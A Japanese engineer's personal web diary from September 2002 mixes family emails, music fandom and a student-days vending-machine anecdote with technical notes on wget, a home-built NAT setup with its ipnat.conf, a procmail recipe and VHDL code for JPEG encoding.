みーんな帰っちゃったので、谷山浩子さんの手持ちの 363 曲をスピーカーでランダム再生。ちなみにこのランダム再生は、毎回 find で mp3 を検索して、その個数以下の乱数で、どれかの mp3 を選択して再生プログラムに渡すという信じられない安易なシェルプログラムなのです。
そっくりハウス
注文しました。その後、その辺にころがって 3時間くらい寝てしまいました。ところで、昨日、「鍵が開いていても勝手に入らない」なんて大いばりで書いたが、自動販売機の泥棒の話はどうなったのかな～(^^;。
だけど、大きな声では言えないけど、もうダメですな(^^)。

なめくじ

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Subject: なめくじ
From: KAGAMI Moka <moka@evariste.que.ne.jp>
To: KAGAMI Hiromichi <kagami@evariste.que.ne.jp>
Date: Mon, 16 Sep 2002 08:45:42 +0900
X-Mailer: Becky! ver. 2.05.04

パパへ

今日、起きて朝ごはんを食べてたら、
私のズボンに、なめくじがいた！！
はじめ、きのこだと思って、食べようとしちゃった。
りんぜが塩をかけたら、きゅっと体を曲げて、
それからギューッとちぢんじゃった。
-- 
もか <moka@evariste.que.ne.jp>
----------------------------------------------------

りんぜというのは長女なんですが、いろいろな名前を使い分けるのです(^^)。
どーれ、コーヒーでも飲んでもう一頑張りしますか。

削除と愚痴
さっきの二つはつまんないので削除(^^;。
それはともかく、なんだかんだとまだ出来ないんで、締め切りを一週間のばしてもらいました。正直言いまして一週間で出来る自信がないのです。いずれにしても来週の 3連休もなしですね。
この 3週間で一日しか休んでない。もう疲れた。愚痴いっちゃってごめんなさい。

2002年9月15日(日)

wget
wget はコマンドライン上で ftp や http プロトコルを使用して、ファイルを取得するプログラムです。もともと FreeBSD の fetch を使用していたのですが、最近はこちらを使うことが多いのです。まだ使いこなしていないのですが、現在知っている利点としては、
- リンクをたどって再帰的にファイルを取得可能。一般に個人のページはブラウザで見ることを前提としているので、個人のページのトップでこれをやるのは失礼だと思うのですが、画像の索引ページでの実行とか、自分のページのバックアップにも便利です。自分のページ内の無効リンクも分かったりします。
- UserAgent を変更できる。別に悪用しているわけでありません(^^;。
ところで、昨日は 10時半過ぎまで勤務されていた人がいらっしゃるようですね。お疲れ様です(^^)。
ポリシー
偶然、人様の隠し URL を知ってしまった場合のポリシー。
それが個人のページの場合、絶対に中に入ることを試みません。「ひ」の場合とても隠し URL とは言えませんね～(^^;。
9月3日に自分の隠し URL の位置を書いたのは、それまで使い方を知らなかった .htaccess の使い方を勉強したのを自慢したかったのと、諸般の事情により(^^;、公開した方が安全かなーと思ったからなのです。
一般に私、鍵が開いているから勝手に入るということは行いません。だだし、上記のポリシーは個人さまのページに対するもので、公共のページに対しては、違法にならない程度ですが、結構好き勝手をやることがあります。
NAT の NAT
私の勤務している会社は社員が20人弱、技術者が 10人強程度の会社でして、社内の LAN は外の世界と NAT を利用して接続しています。それで、内部のアドレスがクラス C(192.168.xxx.0)なのですが何と枯渇の危機なのであります(^^;。
いくらなんでも 254 個あれば余裕の様ですが、技術者一人平均 4,5台 PCを使っているのと、なんせ、組み込みもやっていたりするので、テストの時など機器の数が膨大になるのです。あと、しょっちゅう他人のマシンにアドレス直打ちで自由にログインする風潮がありまして、社内用の DNS サーバーなんてものはないので DHCP も不便なのです。それで、死んだアドレスも結構あるはずなのですが、恐くて削除出来なかったりします(^^;。
実を言いますと、社内にはネットワーク管理者なんていなくて、何か問題が発生したら「各自よきに計らえ」というポリシーなのですが、さすがにアドレスが重複するとまずいので、新規アドレスが欲しい場合はアドレス管理者様に申請する必要があります。
ところが、上に書いた事情により、最近新しいアドレスが欲しくなっても、管理者様がいやな顔をする様になってきたのです。そこで、個人的に運用を始めたのが NAT の NAT(^^)。
実は、かがみ社内 FreeBSD サーバー evariste はネットワークカード 3枚挿さっているのです(^^;。一枚は社内 LAN との接続用。もう一枚は IPv6 のテスト開発用。そして最後の一枚が「かがみ NAT」用に使用されています。次の数字はでたらめなのですが、こんな感じです。
```
  ------------------------------------------------------------ Internet
                                        |
                         xxx.xxx.xxx.xx(NAT router 外部)
                         192.168.100.16(NAT router 内部) NAT service
                                        |
  ------------------------------------------------------------ 社内 LAN
                |  default route 192.168.100.16
    192.168.100.100(evariste)
    192.168.102.100(evariste)  NAT service
                |
  ------------------------------------------------------------ かがみ LAN
          |default route 192.168.102.100   |
    192.168.102.200(galois)      192.168.102.201(組み込み開発機材等)
```
どうして evariste を単なるゲートウエイにしないのかと言いますと、
- 社内でアドレスが足りないので突然血迷って偶然 192.168.102.xxx のアドレスを流しちゃう人がいたりする(^^;。
- galois から他人のマシンにログインする場合、NAT を使わなければ、相手のマシンからかがみ LAN への経路を引いてもらう必要がありまして、これを忘れて良くはまるし、そもそも面倒くさい。 NAT にしておけばその必要がない。ただし、相手のマシンから直接 galois に入りにくいという欠点はあります。
  # 実を言うと evariste にポート 8023 で接続すると、galois に入れたりします。
  # 一般に、良く使うポート番号に 8000 を加えて evariste に接続すると
  # galois のサービスが動いたりします。
そもそも、社内 LAN をクラス B にでもすれば良いのでしょうし、そういう意見もあるのですが、面倒なので誰もやりたがらないのであります。
自分で自由にできる(root になれる)UNIX マシンがないと、ネットワークの勉強は大変かもしれませんね。実際に設定とかをして、体で覚えて、だんだん抽象化する部分が多いですからね。今書いたことなんて、やってみないと(少なくとも私には)絶対に分からないもん。
ちなみに evariste の /etc/ipnat.conf
```
map de0 192.168.102.0/24  -> 0/32  portmap tcp/udp 1025:60000
rdr de0 192.168.100.100/32 port 8080   -> 192.168.102.200 port 80 tcp
rdr de0 192.168.100.100/32 port 8023   -> 192.168.102.200 port 23 tcp
rdr de0 192.168.100.100/32 port 8022   -> 192.168.102.200 port 22 tcp
rdr de0 192.168.100.100/32 port 8020   -> 192.168.102.200 port 20 tcp
rdr de0 192.168.100.100/32 port 8021   -> 192.168.102.200 port 21 tcp
```
さー、高橋尚子もびっくり。30時間マラソン仕事だ～(^^;。

2002年9月14日(土)

マイリトルブーム
どうしても、頭のなかで曲がなりやまないので、
```
----------------------------< ご購入商品 >----------------------------
 商品コード ｜注文数量｜　単価　｜商品名
----------------------------------------------------------------------
PCCA-1583-02 ｜ 1｜ ￥2,000｜石川ひとみ/石川ひとみ ベスト
-----------------------------------------------------------------------
```
やっぱりこの日記の作者、修正不可能なおばかでございます(^^;。だけど、このアルバムに「まちぶせ」はもちろんのこと、「ひとりぼっちのサーカス」という曲が入っていて、この曲の作詞・作曲は、あの有名な谷山浩子さんなのです。
この前のテレビ(「マシューＴＶ」だそうです)やホームページをみても分かるように、いまだにとっても可愛いのです♥(^^)。
ちなみに、9月18日に「石川ひとみ／ＢＯＸ～７８－８６ぼくらのベスト～」というのが発売される予定で、お値段が 10,500円の限定版なのです。とっても欲しくなったのですが、やっとの思いで自重したのです(^^)。
# 最近とみにミーハー化していますな。
# 若い頃、「クラシック以外は音楽じゃなーい」なんて叫んでいた人は
# どこへいったものやら(^^;。
それはそうと、最近家をでるとき、非常に慎重になっているのです(^^;。
NAT、VPN、プロキシ
明日(^^;。でもきっと無理。ただ、このテーマは必ず一度きちんと書きます。

2002年9月13日(金)

ダウン～
とっても体調が悪くて起きられませんでした。 3時半から埼玉で打ち合わせなので、午前中半休でお昼から直行ですね(^^;。
なんとか家に帰ってきました。うーん今日は疲れた～(^^;。
それはともかく、明日から 3日間出社ですな(^^;。
お詫びとお知らせ(^^;
わたしがお詫びするのではないのです。一昨日名古屋のコンサートのチケットが届いてとってもいい座席だったのですが、昨日同じプロモーションから葉書が来ていて、「ドリンク代がもれていたので、当日500円払って下さい」とのこと。しかも日付が12月5日だって(^^;。谷山さんのファンの人はこの程度のことで事を荒立てたりはしないでしょうが、事務担当の人はもう少ししっかりしないといけませんな(^^;。
お人形
昨日、石川ひとみさんの歌「あんまり上手じゃない」と書きました。それでも一日「まちぶせ」が頭の中で鳴り響いていました。実を言うと、また見当違いを書いちゃったのでありまして、たしかに上手ではないのですが(^^;、あんまり歌が上手じゃだめなんですね。
石川ひとみさん、なんといっても正統派お人形系アイドルだったと思うのです。お人形系の条件としましては(^^;、
- 可愛い。
- 小柄。
- スレンダー。
- 目がちょっと蠱惑的。
- 舌ったらず。
- ちょっと音程が悪い(^^;。
という感じで、早い話がロリコン趣味の世界に通ずるのであります。それで「まちぶせ」という曲が、マイナーでちょっとテンションが高いという、これまたお人形趣味系の曲。男たちが惑わされるのは当然なのであります(^^)。
昔、セルジュ・ゲンスプール氏が作った曲で、「夢みるシャンソン人形」というのがあって、フランス・ギャルという人が歌っていました。この人も、音程が良くなかったのですが、歌い方はお人形系の条件を満たしていたと思いますし、このあたりがお人形系の元祖かなと思うのです。実は、フランス・ギャルさんのお顔は知らないのですが、ゲンスプール氏のロリコン趣味を考えると、さぞかし可愛い顔をしていたのだろうなと想像するのであります。
セルジュ・ゲンスプール氏、今は知りませんが、ブランドで有名なジェーン・バーキンさんと付き合っていたんだったか、結婚していたことがあったはずです。
最近、正統派お人形系アイドルがいなくなりましたね(^^;。

2002年9月12日(木)

またも自慢話

一人でこのくらい書けるようになった様です。子供は覚えが速いですね。ちなみに H 君、モカが好きな男の子～。

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Subject: Re: パパです
From: KAGAMI Moka <Moka@evariste.que.ne.jp>
To: KAGAMI Hiromichi <kagami@evariste.que.ne.jp>
Date: Tue, 10 Sep 2002 19:21:32 +0900
X-Mailer: Becky! ver. 2.05.04

パパへ

今日は、運動会の赤組と白組を決めました。
また白組でした(：‐；)
でも H といっしょでした。
しかも足が速い人ばっかりで
ちょーハッピー(＾０＾)

ミスもーか。
-- 
もか <Moka@evariste.que.ne.jp>
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それにしても、今一歳とか二歳のお子様をお持ちの方は、とっても大変なのは三回も体験しているので身にしみて分かるのですが、今後の楽しみを考えるとすごくうらやましいですね(^^)。
ちなみに二人目以降は思ったより楽です(^^)。

Windows の at コマンド
たしか、コントロールパネルのタスクの中に入ります。もうご存じかもー(^^;。
チケット
今日は同じ色。名古屋ダイアモンドホールのチケットが来ました(^^)。A-16 ってもしかして最高♪
続・透明なサーカス
いまだにはまっております。こんな素晴らしいのを聞き忘れていたとは不覚でした(^^;。やっぱり、半年でアルバムを 30枚近くも買うと最後の方はなかなか聴く時間が取れなかったです。楽しみがのびたと思えばいいんですけど(^^)。
AirH"
問題はこっちの値段ですね(^^;。「お金持ち～」月末になったら名前が変わったりして(^^)。いやー、すごい機能ですね。全然分からないです(^^;。正式には「お金持ち倶楽部」ですか。
続・チェーンメール
二女の学校でメールアドレスをもっている子ほとんど全員に流れたようです。クラスでチェーンメールを受け取ったことがあるかどうかアンケートを取ったらしいですが、自分でフォワードしちゃった子は答えにくかったようです。やはり、子供にインターネットを利用させる前に最低限の教育は必要ですね。
ただ、子供っていうのは、今回のチェーンをしてはいけないとか、自分の欲望と関係がないことに関しては、ちゃんと言い聞かしておけば良く言うことを聞きますが、自分の欲望と葛藤が発生する場合、言うことを聞かない場合も多いですね。例えば、いつのまにか知らないゲームが入っていたりします(^^;。
いずれにしても Fw がいっぱいついているメールは junk 箱行きですね。
まちぶせ
今、テレビで石川ひとみさんが歌っています。けっこう好きだったのです。うーん、あんまり上手ではないですね(^^;。

2002年9月11日(水)

追悼
この一年間、戦争やテロで亡くなられた方々に哀悼の意を表します。

2002年9月10日(火)

ねこの森には帰れない♪
たまに CGI を非常に難しく考えてしまう人がいますが、別にモノがファイルから出てくるか、プロセスから出てくるかの違いであり、とりたてて大騒ぎするほどのものではありません。そこで提案、
```
http の世界での下りデータ転送手段はすべて CGI とする、
今までの通常ファイルの転送は「ねこ森 CGI」と定義する。
```
意味不明ですか～。それでは。
合成と恒等写像
前にも今や亡きページに書いたかも知れませんが、UNIX のパイプラインや DOS の縦棒は写像の合成です。その意味で考えると cat コマンドは恒等写像であります。
```
定義された任意の x に対して f(x) = x を満たす関数 f が恒等写像。
```
こっ、これで分かりますよね。すごーく一生懸命考えたんですぅ(^^;。
こらー、森は何なんだ～(^^)。
意味不明
昨日電車の中であんなに一生懸命考えたのに、上の二つ、社内でも全く意味不明だと、とっても評判が悪いのです(-_-)。
全部 CGI に統一して、通常のファイルは、QUERY_STRING とかの問題はあるけど、論理的には cat という CGI でファイルをクライアントに送り込んでやればいいというつもりだったのですが。だから cat でねこ～(^^;。
.procmailrc
レンタルサーバーでで設定してみたら簡単に動作しました。最初良く分からないで、自分で procmail を持っていくなんてマヌケをやったりしました(^^;。
それで、レンタルサーバーの振り分けのメニューで実験して、やっと感覚をつかみました。
なるほど .forward に "|/usr/local/bin/procmail" って書かれるんですね。だけど ls では /usr/local/bin/procmail が見えなかったりします(^^;。もしかして jail なんですかね。そーか nfs ですね。それでも、雛形の .procmailrc を自前で編集したらうまく動作しました。
わたし自身は、たいして変なメールも来ないし、ウイルスに感染する心配もないので、今は .forward のかわりに使っているだけです。あと HTML メールのテキスト化ですね。ログが残るのがうれしいです。
```
:0 c                           # 念のためバックアップ。後で手作業で消去。
$INBOX   
:0H f                          # HTML ---> text
* !Content-Type:.*text/plain   
| sed "/^Content-Type:/s:text/html:text/plain:"
:0                             # forward
! 会社のアドレス
```
家族宛のメールのフィルターに使います(^^)。ありがとうございます。
# 実験の時自分が From: のメールを virus 箱行きなんかにしていました。
# すでにブラウザメニューでみると滅茶苦茶であります(^^)。
# PATH もあるし、いくらなんでも sed が動かなくなることもないでしょうから
# 当面大丈夫でしょう。しばらく様子をみて家族の設定をする予定です。
# やっぱり、家族がウイルスに感染するのはちょっと恐いけど、それに
# お金を投資したり、ましてや PC の速度を遅くしたりしたくないですから。
家族は意外←(以外と書いてあった)としっかりしてるのに、自分がダメだったりします。それはともかく、T シャツの絵が気に入っていて、いまだに壁紙であります(^^)。
レンタルサーバー
確かに調子悪いですね。レンタルサーバーの光ファイバーが一休み現象だったりして(^^;。

2002年9月9日(月)

鶴ヶ谷ショッピングセンター
下に書いてある窃盗犯罪の現場は鶴ヶ谷ショッピングセンターという場所らしいです。交番もありますね(^^;。
FreeBSD の lha の覚え書き
MS-DOS 属性の場合、大文字・小文字を無視して展開する。これを防ぐには、
```
$ lha [vx]g hoge.lzh
```
という風に g をつける。
iマクドとハンバーガー
この件に関しましては、わたしは一人で大笑いしていたのですが、他の人にはいまいち真の面白さは分からなかったでしょうね(^^)。なーんたって、一週間ごしの壮大なるネタでしたからね(^^;。
鶴ヶ谷窃盗事件
えー、わたくし、普通に法律は守る方でして、法律違反としてはたまに車を運転していて、最大 20～30Km 位のスピード違反をするくらいだと思いますし、捕まったこともないのです。
これはもう 5回以上時効が成立しているので書いちゃいますけど、善良なる市民(^^;であるわたくしも、一度だけ、極悪犯罪に手をそめたことがあるのです。
前にも書きましたが、学生時代仙台の燕沢という場所の下宿に住んでいて、そこから歩いて 30分くらいの所に鶴ヶ谷団地という場所があったのです。
学生なので、夜更かしをすることが多く、大学 2年生の冬の頃だったと思いますが、その夜は、経済学部の K.A 君とつまらないおしゃべりをしていたのです。それで、夜中になって、「お腹空いたな～」ということになってきたのですが、あいにくインスタントラーメンのストックも切らしていました。
当時鶴ヶ谷に、ショッピングモールみたいなのがあって、夜中になると、自販機コーナーでハンバーガを売っていたのです。その頃の値段で 150円くらいで、お金を入れると、冷凍ハンバーガーが入てっる箱が内蔵電子レンジに落ちて、一分位すると「ちーん」って音がして暖かいハンバーガーが出てきたのです。
そこで、まあ、ちょっと歩いて二人でハンバーガーでも食べに行こうかなということになったのです。
# わたし達が住んでたのは、おそらく地図の燕沢小の近くです。
ところが、わざわざ 30分もかけて寒い道を歩いていったのになーんか様子が変なのです。販売機に電気がついていなくて、お金を入れても戻ってくるのです。「なにこれ、せっかく30分も歩いてきたのに、ふざけんなって～」ってなわけで二人で自動販売機を蹴っ飛ばしたりなんかしてたら、突然販売機のドアが開いたのです(^^;。「あれ、鍵つけっぱなしじゃん」なーんていって、中を見ると、大判ー小判～が、じゃなくって 50円玉や 100円玉が全部で 2万円近く入っていたのです。しかも、回りにはだれもいない様子なのです(^^)。
こうなると、「近代経済学における新しい倫理基準は～」とか「数学における構造主義と抽象化は～」なんて話をしていたのはどこにいったのやら、理性のかけらさえもなくなって、わーーーーーーと叫ぶや、もう二人とも金の亡者となりて、じゃらじゃらあさることあさること、そのおぞましさたるや、犬畜生よりも劣ると言えるほどだったのであります(^^)。
しかも、二人とも小物と言うか、なんというか、全部取るのはまずいであろうということで、半分くらい残したという、信じられないほどの情けなさであったのです(^^;。
結局一人五千円位を山分けにして、ポケットをじゃらじゃら言わせながら帰ったのですが、丁度ショッピングモールの向かいが鶴ヶ谷交番でありまして、その前を通らないと帰れなくて、非常にビクビクしながら帰った記憶があります。
交番が 8丁目でショッピングモールは道を隔てた 2丁目だったと思いますが、なんせ古い記憶なのであてになりません。
どうしてあの様な「おいしい」状態になっていたかは全く不明であります。また、数日間新聞を注意して見ていたのですが、特に窃盗の報道はありませんでしたね。これが、私の唯一の明確な犯罪行為だと思います。
ちなみに、一ヶ月くらい恐くて鶴ヶ谷には行けなかったです(^^;。
K.A 君、いまやなんと国立大学の経済学部教授であります(^^)。

2002年9月8日(日)

今日は出社
出社でございます。それはともかくとして、顔の可愛さにだまされて、男物の T シャツを「センスがいい」とはまったくわたしの外見判断もあてにならないし、自分の得意分野以外に余計な感想を書くもんではないですな(^^;。
これからも、どしどし見当違いを書くつもりではありますが(^^)。
こういうマイナーな日記も、掲示板に書くほどではないし、ましてやメールで送るほどでないちょっとした突っ込みや感想を書くには便利なものですね。
ハンバーガー
今日はマクドのハンバーガー。だから～、ハンバーガーだっちゅーのに(^^;。
うーむ、見事に扇動されましたな(^^;。それにしても「鏡」とは。わたしは、これから家で二仕事位やんなきゃいけないってのに～。だけど面白かったですぅ(^^)。ありがとうございます。
秋
涼しくなってきましたね。やっと秋の気配が漂います。月曜日からはスーツの上着を着て出社かもしれません。

2002年9月7日(土)

お仕事～(^^;
本日も仕事。なんとか在宅ですめばいいんだけれど。進捗によっては明日も仕事。さすがに疲れますね。最近日記の内容も荒れているし、ちょっと修正しないといけないです。
ところで、宇多田ヒカルさんが結婚されたそうですね。おめでとうございます。本当は、お母さんの方が好きだったりします(^^)。
透明なサーカス
実は、聴き忘れていて今日初めて聴いています(^^;。落ち着いて気持ち良く聴けるアルバムですね。声が可愛いし。好きになりそうです。あと、「水の中のライオン」と「お昼寝宮・お散歩宮」もちょっとしか聴いてないのです。そろそろ真面目に聴かなければいけませんね(^^)。
ちょっと落ち込み状態で元気を出したいときなど MOON SONG がいいかな(^^)。あれっ MoonSong ってそういう意味だったのですね(^^;。
↑話を面白くするために書いたのではなく、本当に MOON SONG が好きで、それを書いていたら気が付いたのです。まだまだ、うれしい発見がありそうで楽しみです(^^)。
今日は家
さすがに疲れがひどいので、今日は家でだらだら仕事。ただ、コンパイルが会社の Windows 2000 マシンでしかできないので、エラーの嵐が起きるでしょうね。こういうとき、単体で動作する C や Java のプログラムだと楽なんですが。
でもって、仕事したくなくてごろごしてたら、寝てしまって起きたのが 18時。昼間中寝ていましたな。うーん、やっぱり 2時頃に寝て、6時20分に起きる生活パターンに無理がありますね。平日は 0時半頃には寝るようにしないとだめですね。それにしても、なんのかんの馬鹿ばっかりやっているけど体の方は年ですな(^^;。
make world とモジラのコンパイル
気分転換に、最新の make world と Mozilla-1.1 のコンパイル。何時間かかることやら。今や 40M バイト位のモジラのソースが 4分位で取れてしまいます。本当に通常の用途には十分な速度の時代になりましたね。ぜいたくを言うと 10Base-T 位の速度が上下で出る様になればなんにも言うことないです。
それにしても私のモジラでのアクセス、ログをとっている人には OS もブラウザもバッタもん(←会社の U さんの評価^^;)なので、さぞかし目立つでしょうね。
こーんな風になっていました。つっ、ついに新規落書きが(^^)。
```
FreeBSD 4.7-PRERELEASE #3: Sat Sep  7 20:55:26 JST 2002
```
結局今日は仕事せず(^^;。

2002年9月6日(金)

ピンポンへの批判(^^;
わたしは映画をあまり、というかほとんど見ない人なので、きっとはずしているでしょうが、「テンポが悪い」以外思いつきませんね(^^;。答えを楽しみにしております(^^)。
今まで書いた内容からもお分りになると思いますが、私のすべてにおける価値基準は、外見の美しさ、簡潔さ、テンポの良さだけしかないのです。これは数学や、音楽や、今の仕事の内容すべてに及んでいます。ちょっと真面目に書くと、美しい formulation からは、おのずと深い内容が得られると考えているわけであります。
なるほど。そりゃ、まめに見てないと分からないですね。だけど、やっぱり自分の得意分野以外で、あんまり感想を書かない方がいいかも知れませんね。どうしても見当はずれになる場合も多いしですしね。理系的な話ならばそれなりの感性はあると思うのですが、その他の分野は全然だめですからねえ(^^;。
制服もといセーラー服
セーラー服姿でその辺にイモムシみたいに転がっているのが二人もいると、いまいち萌えませんなぁ(^^;。しかもパンツ見えたりして。なーんていいながら壁紙になっていたりします(^^)。だけど、本当にそういう服を着ている女の子だとしたら、なかなかセンスいいですね。
ところで biglobe のホームページで家族のアドレスを解約する場所をさがしていたのですが、全然見つからなかったのです。お金を取るほうはすぐに出てくるのに、やめる方は奥深く沈んでいたりします(^^;。
それでサポートに専用フォームから質問を書き込んだのですが、次の日に回答が来ました。やっぱり会員だと処理が速いようですね(^^)。
数学の常識・非常識---由緒正しい \TeX 入力法
(La)TeX を使われる方は一度は読んでおくべき論文です。ちなみに、小田先生は私の恩師であります。
smbfs
smbfs を使えば転送量を減らせて、マヌケな感じもなくなったりして(^^;。ただ FreeBSD の Version が古いとだめですね。あと、最大の欠点は、 Windows の方が調子悪くなったり、電源おとすと、それにつられて FreeBSD の方も調子悪くなる可能性があることですね。
FreeBSD で timed -M を動かして、Windows 側でこんなことやれば時刻の同期とれませんか。ただ NT だとちゃんと動いてますが、 95 だと分からないですね。
```
C>at 13:00 /every:m,t,w,th,f,s,su net time \\server /set /y
```
無限ループじゃなくってラーメンと雨と削除
無限ループはこんど(^^;。今、ラーメンを食べに行ってきたのですが、とんでもない雨ですね。もう、びしょぬれです。ちなみに P 君と女性の I さんと食べに行ってきたのですが、 I さん昨日が誕生日だったそうで(^^)。あと昨日の最初のは、あんまり不愉快だったので頭に来て書いちゃったけど、やっぱり人を不愉快にさせる内容なので削除。すみませんでした。

2002年9月5日(木)

有能な人
隣の席の S 君は、私などよりはるかに C 言語や C++ 言語の知識があり、これらの講釈をして下さるのは大歓迎なのです。 S 君は頭の中も、引き出しの中も 4次元ポケットの様に何でも入っているのです(^^)。
不愉快なことに(^^; S 君は工学部出身なのにわたしより数学ができたりもします。さすがに、集合論と数論に関してはわたしの方が詳しいけどね(^^)。
# そもそも、わたしは学生時代 8年間一度も微積分の具体的な
# 計算をしたことがなかったりします(^^;。
# うーん、能力が無いので、「解の存在定理」の証明までで疲れてしまって
# 具体的な計算まで手が回らなかったのです。
この日記で S 君の登場を grep で調べました。いかに彼が有能か分かりますね。
続・自然数
おはようございます(^^;
昨日、数学屋さんは 0 から開始が主流と書きましたが、私より若い世代の人たちは、特に明示しない限り 1 から開始が主流だそうです。
私は一生 0 で通しますのでよろしく(^^)。
IBM のタイプライター
学生時代には論文を書く必要もありまして、もちろん当時は TeX なんて便利なものはなく、手書きかタイプライターを使用したのです。日本語の論文の場合、当時は一般学生には手書き以外方法がなく、今でも下手くそな字の論文が残っていたりします(^^;。
それで、英語の場合はどうかと言いますと、やはり手書きでは見栄えが悪いということでタイプライターを使うことが多かったのです。そして、当時の数学教室にはタイプ室というのがありまして、そこに 10 台くらい IBM の電動タイプライターが並んでいたのです。
論文をタイプで打つ場合に最大の問題になるのが、数学屋さんはギリシア文字が大好きということであります。ところが、このタイプライター、画期的な発明とされるボール型でありまして、ボールの表面に文字が刻印されていて、キーを打つとボールが回って、該当する文字がインクリボン側を向いて紙に印字する仕組みだったのです。そして、素晴らしいことに(^^;そのボールを交換することが出来たのです。
例えば、 {\int_a^b{\!\!f(\lambda) {\mathrm{d}}\lambda}}を印字しようとすると、
- ギリシアボールで、積分記号を打つ。
- アルファベットボールに交換して、右レバーで上下を調整して a,b を打つ。途中で右に紙が進みすぎるので注意して戻す。
- 右レバーで紙位置を真ん中に戻して f( と打つ。
- ギリシアボールに交換してラムダを打つ。
- アルファベットボールに交換して )d と打つ。
- ギリシアボールに交換してラムダを打つ。
ってな案配で、非常な手間と集中力を必要としたのです。ある程度なれてくると、事前にすきまを開けておいて、ボールの交換を極力少なくしたのですが、とても面倒なことには違いありませんでした。
今は (La)TeX が使えるので、こんな苦労話も本当に過去のこととなりました。それにしても、久しぶりにめくってみましたが、高徳納先生の本も読みにくいですな。
ネタ切れ
いや、この日記のことではなくって、毎日モカにメールを出しているのですがねえ(^^;。

2002年9月4日(水)

最近の記号と自然数
前にも書きましたが、最近アレフと言えばオウムのことだし、 A をひっくり返した全称記号は２ちゃんねる(^^;。まったく住みにくい世の中になりましたな。ちなみに、ご存じの方も多いでしょうが、最初のが一般連続仮説で、二番目のがぐっと簡単になって空集合の存在公理です。←ちゅーか、知ってる人は知ってるし、知らない人にはチンプンカンプンでしょうね(^^;。
ところで、我々の世代は、Bourbaki の影響なども残っていて、自然数と言えば 0 から開始と考える人が多かったし、わたしなど今でも絶対に 0 からと思っているのですが、私より 10 年から 20年若い世代の人はどうなんでしょうか。教えて欲しいのです。
ついでに、我々の世代は、数学の人は第２外国語フランス語の人がほとんどでしたが、その後どうなったのでしょうね。
やっぱり数学屋さんは 0 から開始ですか。いや、良く読むと、ちゃんとその場で定義を明確にして記述するということですね。
そういえば := で「定義」っていうのも私の時代にはなかったですね。一般にコンピュータが普及する前なので当然ですか(^^;。
w3m without image
最近、人様の日記を見ることが多くなって、画像表示なしモードの w3m/Emacs でほとんどの用が足りたりします(^^)。それにしても、一年くらい前の日記も面白いですね。いろいろな入り口があるし。あそこからはあんまり入らないようにしますけどね。
そっくりハウス
そろそろ「そっくりハウス」の入手方法を考えなくてはいけないですね。インターネット予約にするか、お店で予約するか決めなくては。今回は値段も安いし、連続コンサートも近いので、イベントはないでしょうね。
会社の LAN
会社に全く接続できませんな。メールも読めません。と思ったら、内部の LAN ケーブルが切れているようですね(^^;。VPN 経由はだめですが外からメールをとれました。

2002年9月3日(火)

残暑
startx と入力するとこんなのが 20人くらい出てきて一瞬涼しくなります。今後、画像ファイルはすべて evariste.que.ne.jp に置きます。また著作権は、もう書かないでいいですか～(^^;。
寝坊
起きたのが 7時。やはり、土日のダメージが若干残っていますな(^^;。
7時半頃家を出て、急行を乗り継いでぎりぎり 9時セーフ。この乗り継ぎで間に合うわけですが、なんせバスという不確定要素があるので、7時前に家を出るのです。
# 前にも書きましたが 10時半前に出勤すれば遅刻になりません。
# 9時出社は生活が不規則にならないため、自分で決めた時間です。
覚え書き
レンタルサーバー上の隠しリンク集(^^;。
放射線
ウソの報告がばれたり、放射能もれがあったり、原子力発電はぼろぼろな状態であります。三年前の東海村での臨界事故のとき、私の友人でガイガーカウンターを持っている人が計測して東海村近辺の放射線の量を計算したところ、政府発表の 10倍以上だったそうです。
朝日新聞の記事などをみると、今でも臨界事故の心理的後遺症に悩んでいらっしゃる方々が多いということですが、心理的なものだけではないと思うのです。
FPGA 開発環境
FPGA というのはプログラマブル可能な素子で、例えば CPU とか DSP とか JPEG のエンコーダ(^^;とかを自分で作れちゃうわけです。 CPU も外部バスのインターフェースは別とすれば Z80 や i8086、MC6809 位なら自分で書けるでしょうね。しかも、1秒くらいで内容を変更できるので、あるときは Z80、またあるときは MC6809 なんてことも可能なのです。ただし i386 の様にページングがある CPU はわたしの能力では無理ですね。まあ i386 は変態の度合いが強すぎるんですけど。
どうして FPGA なんかを使うかと言いますと、なんといっても高速化のためなのです。例えば 640x480 ピクセルの JPEG 画像を、ソフトウエアで 1 秒に 30 枚生成するには、最低でも Pentium の 500MHz 位の CPU が強烈な発熱でフル稼働する必要があります。
ところが FPGA を使用すると、50MHz 位で、ほとんど電力も必要なく、軽々と 30枚エンコード出来てしまうのです。
でっ、なんで速くなるのかといいますと、例えば C で 20 ステップ位の関数を書いたと思ってください。簡単のために各ステップを実行するのに 1 クロック必要とします。
```
 int f(int x)
 {
 step 1
 step 2
 step 3
 ...
 step 19
 step 20
 return(答え);
 }
```
それで、x1,x2,x3,... という入力に対して、f(x1),f(x2),f(x3),... の値を知りたいとします。
ソフトウエアの場合、各 xi に対して f(xi) の値を得るのに 20 クロック必要になります。
ところが FPGA の場合 f に対して x1 を投入した次のクロックで x2 を投入、また次のクロックで x3 を投入ということが可能で、最初に f(x1) の値を得るには 20 クロック必要なのですが、その後の f(x2),f(x3),... 以降の値は 1 クロックごとに「浮き出て」くるのです。
前置きが長くなりましたが、FPGA の開発もそれなりの高級言語レベルとアセンブラレベルがありまして、アセンブラレベルの開発環境は FPGA のチップベンダーが供給するのが普通です。例えばここですね。
規格化された「高級言語」の方は VHDL とか Verilog などがありまして、 VHDL の場合こんな感じのコードを書くのです。ちなみにここって、例の JPEG の特許がらみで問題になっている部分であります。日本では問題ないですけどね。
```
 -- JPEG Huffmann の runlen 生成
 PROCESS(clk)
 VARIABLE r:IR5;
 BEGIN
 -- クロックの立ち上がり～
 IF (clk'EVENT AND clk='1') THEN
 IF (vclrnxt(7)/='0' OR clrnxt(7)/='0' 
 OR huffmodenxt(7)=HUFFSTART) THEN -- 無効区間で初期化
 r := 0;
 runlen <= 0;
 ELSE
 runlen <= r;
 -- いやー,ここを当初 r=16 としてはまってしまった.
 -- 確かに r=16 は何か不自然な気がしたんですう。
 IF (r=15 OR datanxt(7)/=0) THEN -- 0 でないなら
 r:=0; -- リセット
 ELSE -- 0 なら
 r:=r+1; -- 増やす
 END IF;
 END IF;
 END IF;
 END PROCESS;
```
# こんなのが特許っておかしいでしょ。
それで、やっと本題に入るのですが(^^;、この開発環境が極めて劣悪なのです(=_=)。
- VHDL のコンパイラの 1 CPU ライセンスが年に 150万円もかかる。
- プリンタポートに変なガード(以下ドングルと称する)をささないと動かない。
- ドングルをさしているのに、ライセンスファイルがないと動かない。
- インストール直後はまず動かない。必ずマニュアルの隅っことか、別紙に特別なことが書いてある。
